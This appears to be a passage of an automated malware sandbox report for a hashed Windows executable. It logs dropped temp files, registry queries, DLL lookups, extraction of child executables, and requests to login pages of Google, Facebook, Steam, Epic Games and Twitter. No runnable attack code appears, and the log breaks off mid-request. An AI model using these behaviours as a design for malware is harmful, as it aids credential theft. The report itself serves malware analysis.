[%TEMP%\~DF8A9701D62EDD0C73.TMP] "~DFBC750434DC5B3649.TMP" has type "data" - Location: [%TEMP%\~DFBC750434DC5B3649.TMP] "~DF06D9FD6E9D6C57D5.TMP" has type "data" - Location: [%TEMP%\~DF06D9FD6E9D6C57D5.TMP] "~DF641E659F2D2441CE.TMP" has type "data" - Location: [%TEMP%\~DF641E659F2D2441CE.TMP] "~DF6142EF258E15AA75.TMP" has type "data" - Location: [%TEMP%\~DF6142EF258E15AA75.TMP] "~DF7224D19D677D70B5.TMP" has type "data" - Location: [%TEMP%\~DF7224D19D677D70B5.TMP] "~DF9FD016BE6A1E439C.TMP" has type "data" - Location: [%TEMP%\~DF9FD016BE6A1E439C.TMP] "~DF7366F54DD74FC1A3.TMP" has type "data" - Location: [%TEMP%\~DF7366F54DD74FC1A3.TMP] "~DF6B273F8BDA7F9A22.TMP" has type "data" - Location: [%TEMP%\~DF6B273F8BDA7F9A22.TMP] "~DF6327FC62A00135FD.TMP" has type "data" - Location: [%TEMP%\~DF6327FC62A00135FD.TMP] "~DFCCCECFE9A5FBE440.TMP" has type "data" - Location: [%TEMP%\~DFCCCECFE9A5FBE440.TMP] "~DF8A16458B18393BB7.TMP" has type "data" - Location: [%TEMP%\~DF8A16458B18393BB7.TMP] "rise131M9Asphalt.tmp" has type "ASCII text with no line terminators" - Location: [%TEMP%\rise131M9Asphalt.tmp] "Cab5B78.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" - Location: [%TEMP%\Cab5B78.tmp] "~DFA615E12365DD7122.TMP" has type "data" - Location: [%TEMP%\~DFA615E12365DD7122.TMP]4c:T974,"a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "")4d:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")4e:Te12,"a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "A56DA099E59801BAC606963E44684336"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "") "a56da099e59801bac606963e44684336.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "PENDINGFILERENAMEOPERATIONS"; Value: "")4f:T95a,"a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\a56da099e59801bac606963e44684336.exe.Local\" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Cabinet.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\VERSION.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\SspiCli.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\WINSPOOL.DRV" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\MPR.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\system32\MPR.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\UxTheme.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\WINMM.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\samcli.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\Windows\system32\samcli.dll" "a56da099e59801bac606963e44684336.exe" trying to touch file "C:\MSACM32.dll"50:T875,"a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\Cabinet.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\VERSION.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\SspiCli.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\MPR.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\UxTheme.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\WINMM.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\samcli.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\MSACM32.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\sfc.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\sfc_os.DLL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\dwmapi.dll" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Qv9nk40.exe" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\FLTLIB.DLL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\SSPICLI.DLL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\MPR.DLL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\UXTHEME.DLL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINMM.DLL"51:T991,"a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\a56da099e59801bac606963e44684336.exe.Local\" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\a56da099e59801bac606963e44684336.exe.Config" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\A56DA099E59801BAC606963E44684336.EXE.LOCAL" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINSPOOL.DRV" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\A56DA099E59801BAC606963E44684336.EXE.CONFIG" "a56da099e59801bac606963e44684336.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "Qv9nk40.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Qv9nk40.exe.Local\" "Qv9nk40.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "Qv9nk40.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Qv9nk40.exe.Config" "Qv9nk40.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "Qv9nk40.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\QV9NK40.EXE.LOCAL" "Qv9nk40.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "Qv9nk40.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\QV9NK40.EXE.CONFIG" "Qv9nk40.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "cw8sM05.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\cw8sM05.exe.Local\" "cw8sM05.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "cw8sM05.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\cw8sM05.exe.Config" "cw8sM05.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"52:T7f9,Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D" Found http requests in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAbY2QTVWENG9oovp1QifsQ%3D" Found http requests in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAQhMPexOPTAYsl3zILaFNw%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D" Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D" Found http requests in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D"53:T2807,Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:VofNMFGSUWM2nuIwUJlMTgN2H0L34g:Uxw6KufYyQS-u8CjConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp2rOYMlAtlcrxlYOzK0BcrPYRGEd65ng2sVt6du7MGTrnEVTZgfuunlEt_Fi-sHXdw3LEfUvA HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:VofNMFGSUWM2nuIwUJlMTgN2H0L34g:Uxw6KufYyQS-u8Cj"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp27CHb1tCj-Lw9alHc9D7g0kYGhTYrO2fMu0nDe81mVy-IjL_qgWPOo2_javDcqUigCJEesrA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-402420521%3A1703508391954728&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:VofNMFGSUWM2nuIwUJlMTgN2H0L34g:Uxw6KufYyQS-u8Cj"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:qYmeb7NthL8mgJwKJauVQ704YkO18A:UN28Yt4ATxX_3t1Z"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-3086226230792177333&bl=boq_identityfrontendauthuiserver_20231210.08_p0&hl=en-US&_reqid=46970&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S-402420521:1703508391954728",null,null,"ASKXGp27CHb1tCj-Lw9alHc9D7g0kYGhTYrO2fMu0nDe81mVy-IjL_qgWPOo2_javDcqUigCJEesrA"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:qYmeb7NthL8mgJwKJauVQ704YkO18A:UN28Yt4ATxX_3t1Z"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:qYmeb7NthL8mgJwKJauVQ704YkO18A:UN28Yt4ATxX_3t1Z"; in File: "SSL") Found requests in header "GET /generate_204?02LLpg HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:Y3X1VqAR9j2iDhKOjxewIE2-iftgSQ:CaNpPXJP0RxH1d3s; OTZ=7353363_52_52_123900_48_436380"; in File: "SSL") Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: store.steampowered.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: store.steampowered.comDNT: 1Connection: Keep-AliveCookie: steamCountry=US%7Cd5203a3b374fc04fbcd23a13412805b3; browserid=3289381413811695917; sessionid=ad78d074bd515244c9d5342b"; in File: "SSL") Found requests in header "GET /id/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.epicgames.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /i/flow/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: twitter.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english HTTP/1.1Accept: text/css, */*Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english HTTP/1.1Accept: text/css, */*Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english HTTP/1.1Accept: text/css, */*Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: community.akamai.steamstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /public/css/skin_1/home.css?v=pTH-Ya7jG3VB&l=english HTTP/1.1Accept: text/css, */*Referer: https://steamcommunity.com/openid/loginformAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like 